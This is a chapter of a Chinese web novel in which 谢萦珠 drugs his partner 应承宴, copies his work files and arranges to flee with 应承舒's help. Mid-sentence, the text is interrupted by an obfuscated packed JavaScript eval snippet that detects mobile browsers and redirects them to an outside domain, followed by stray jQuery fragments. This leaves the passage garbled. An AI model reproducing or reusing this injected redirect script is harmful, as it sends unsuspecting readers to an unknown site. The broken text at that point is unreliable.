应承宴听着谢萦珠的话，松了口气。


    本来他还在想着如何跟谢萦珠提这件事，现在被他撞了个正着，也少花心思去思考怎么应付他。


    而且看起来谢萦珠对这件事的接受程度还可以？


    “哥哥，正好那天你也过生日，”谢怀玉说，“到时候结束了给你办个生日宴，就当是我给你赔礼道歉了，好不好？”


    谢萦珠的语气依旧淡淡的，听不出他的喜怒：“那倒不必麻烦了，你做音乐会已经很忙了，心意我领了。”


    谢怀玉被他的话噎了一下，抬眸瞪了他一眼。


    本来他想话里话外再呛谢萦珠一下，却没想到对方压根不接招，径直无视了他露出来的不怀好意的锋芒。


    “没有别的事的话，我先走了。”


    谢萦珠说完，转身离开了这间办公室，没有半分留恋和拖泥带水。谢怀玉垂在身侧的手攥成拳，等他走后狠狠地砸在了桌上。


    应承宴看了他一眼：“你哥不是答应你去了吗？在这里发什么脾气？”


    “我没发脾气！”


    谢怀玉炸毛了似的猛地看向他：“谢萦珠瞧不起我，你没发现吗？”


    应承宴摇摇头：“你有点太敏感了，你哥要是瞧不起你的话，能答应去你的音乐会吗？”


    谢怀玉被他说得无话反驳，怔怔地站在原地，第一次生出了几分疑惑和迷茫——


    是他先入为主，觉得自己和谢萦珠是竞争的关系，所以才总认为对方是瞧不起自己吗？


    “别闹了，”应承宴淡淡道，“所有人都这么支持你，别得寸进尺了。”


    他说完后拿起几份文件起身，径直路过了钉子似的杵在原地的谢怀玉：“音乐会好好做，别给我丢人。”


    ***


    那天晚上谢萦珠没为难应承宴，应承宴也不想因为这件事和他吵，毕竟是他理亏在先，他再怎么霸道也会心虚。


    可谢萦珠和往日一样给他做饭，坐在餐桌前静静地看着他吃完。小猫窝在他的怀里，有一搭没一搭地打着呼噜，在暖黄的灯光下氤氲开温馨的气氛，让应承宴有些恍惚。


    好像是他一直所求的那种“家”的感觉。


    他忽然开口，问道：“谢萦珠，你想有个家吗？”


    谢萦珠原本正专心低头摸小猫，闻言有些讶异，抬眸看向他：“什么？”


    “我的意思是，你想有个家吗？”


    应承宴定定地看着他，神情格外认真：“和我。”


    他问完就觉得有些后悔，好像问得突然又冒昧，显得莫名其妙的。


    “这不就是家吗？”谢萦珠反问他，“这个房子不是家？”


    “你知道我说的不是那个意思。”


    应承宴面上罕见多了几分局促和懊恼，下意识地抓了抓头发，原先身上冰冷的属于“应总”的气息消失，取而代之的是他这个年纪本应有的神情。


    “今天的事，是我对不起你，”他轻声说，“我想补偿你，但是不知道怎样来补偿，我......”


    一双手蓦地落在他的手背上，他抬头，正撞上谢萦珠一双含情的桃花眼。


    “不要自责，”谢萦珠轻声说，“我没有怪你。”


    今晚的谢萦珠好像有些不一样。


    兴许是喝了酒的缘故，应承宴觉得自己的头脑也昏昏沉沉的，想努力保持清醒，却也无济于事，只能怔怔地看着谢萦珠的眼睛，任由他摩挲自己的手。


    “你不怪我吗？”他问，“我和谢怀玉有联系，我违背了和你的约定，我——”


    “没关系啊，我真的不怪你，我知道你有难处。”


    谢萦珠眨了眨眼，声音恳切，听着情真意切，字字句句都发自肺腑：“后来我想了想，不要你见谢怀玉是我太自私了，我知道身在那个位置，会做很多身不由己的事，我之前做的也有问题。”


    应承宴忽然觉得喉间哽住了，让他有些说不出话，连鼻尖都在发酸。


    他许久没听见别人说“你也身不由己”的话了。


    “我对谢怀玉也不该有这样多的恶意，”谢萦珠继续说，“毕竟他是我的弟弟，再怎么合不来，我也是想他好的，所以才会答应他去看他的音乐会，以此来弥补在彼此生命里缺失的部分。”


    应承宴动了动唇，避开他的目光：“下周几你有时间？”


    谢萦珠扬起眉：“都有时间，我不忙的。”


    “喜欢戒指吗？我带你去挑，送你当礼物，”应承宴说，“你不是说过喜欢钻戒吗？”


    “你已经送过我礼物了。”


    谢萦珠将小猫微微举了起来：“这个我就很喜欢。”


    应承宴笑了下：“那不一样，送你戒指的意思是，我想和你成为一家人。”


    “好啊。”


    谢萦珠的声音变得越来越朦胧，越来越梦幻，像做了一场大梦似的。应承宴只听到了他说“好”，还想再说什么时，实在是太过困倦，身体似乎失去了所有的力气，趴在餐桌上睡着了。


    小猫“咪咪”地叫了两声，似乎在担心他，却被谢萦珠轻柔地拎着脖颈提起，关进了客厅的猫柜里。


    他居高临下地站在应承宴身边，将他带回来的几份文件翻了翻，用手机拍了照，而后又抓着他的手用指纹打开了他工作用的手机，连上数据线，将里面的文件悉数拷贝出来。


    谢萦珠自己的手机震了震，来电显示是一串


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803166|170150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱码。


    “......谢老师。”


    应承舒的声音在对面响起：“东西拿到了吗？”


    “最后的一部分拿到了，”谢萦珠说，“我要的东西呢？”


    “准备好了。”


    应承舒那边响起了“哗啦哗啦”翻纸页的声音：“机票，新的身份证，雾港那边我也会和他们打好招呼，明早十点的航班到京城，你带着行李直接走就行。”


    他说完后顿了下，语气有些怪异：“对了，要在应承宴醒来以前到机场，不然我怕你走不了。”


    谢萦珠单手将一个行李箱拎了出来，闻言轻笑了一声：“放心，剂量是绝对够的，但是我很好奇为什么被他发现就走不了了，他能让飞机停下？”


    “飞机没起飞前他都有办法把你抓回来，”应承舒说，“我的哥哥是个疯子，你也知道。”


    谢萦珠将行李箱放在门口，转身又把猫塞进了打包好的猫箱。猫似乎第一次被温柔的主人这么生硬地对待，在猫箱里不满地“喵喵喵”叫了起来，谢萦珠叹了口气，取出一根猫条喂给他吃。


    “你还有猫？”


    应承舒听见了猫叫声，觉得有些稀奇：“我还以为我哥这辈子都不会养宠物。”


    “我给你的清单上写了，你没看？”谢萦珠笑了笑，“有一只小猫，应承宴送我的。”


    应承舒沉默半晌后，语气有些怪异：“其实我哥对你挺好的，之前没见他对谁这么上心。你走了的话，对他来说打击应该挺大的。”


    谢萦珠安抚好猫，收拾好行李，这才慢条斯理地说：“这不正是你所期待的吗？你希望从小到大一直欺负你的哥哥遭到报应，被你踩在脚下，这辈子再也翻不了身……我在帮你，你怎么还替他来游说我了？”


    “我没有游说你的意思，只是感慨一下，”应承舒说，“既然你已经决定好了，那就自行安排时间吧，祝你好运。”


    “小应总。”


    谢萦珠靠在玄关处，从口袋里摸出一支细长的薄荷烟，歪了歪头点燃，袅袅的薄荷味在半昏半明的室内氤氲开。


    “我觉得如果现在的东西我得不到，那么以后我一定会得到更好的，”他轻声说，“对了，我改主意了，往后你有机会来京城，我们可以吃一顿饭。”


    事情发展到这一步，谢萦珠夹着烟的手激动得微微颤抖，心脏也在胸腔里“扑通扑通”地跳着。也就是这个时候他才意识到，什么弥补上辈子的缺憾，什么了却上辈子的执念，都不如现在，此时此刻收拾好的行李和机票让他兴奋。


    “我们应该庆祝我们的新生，不是吗？”谢萦珠吸完最后一口烟，笑着说，“祝你，祝我，一切顺利，京城见。”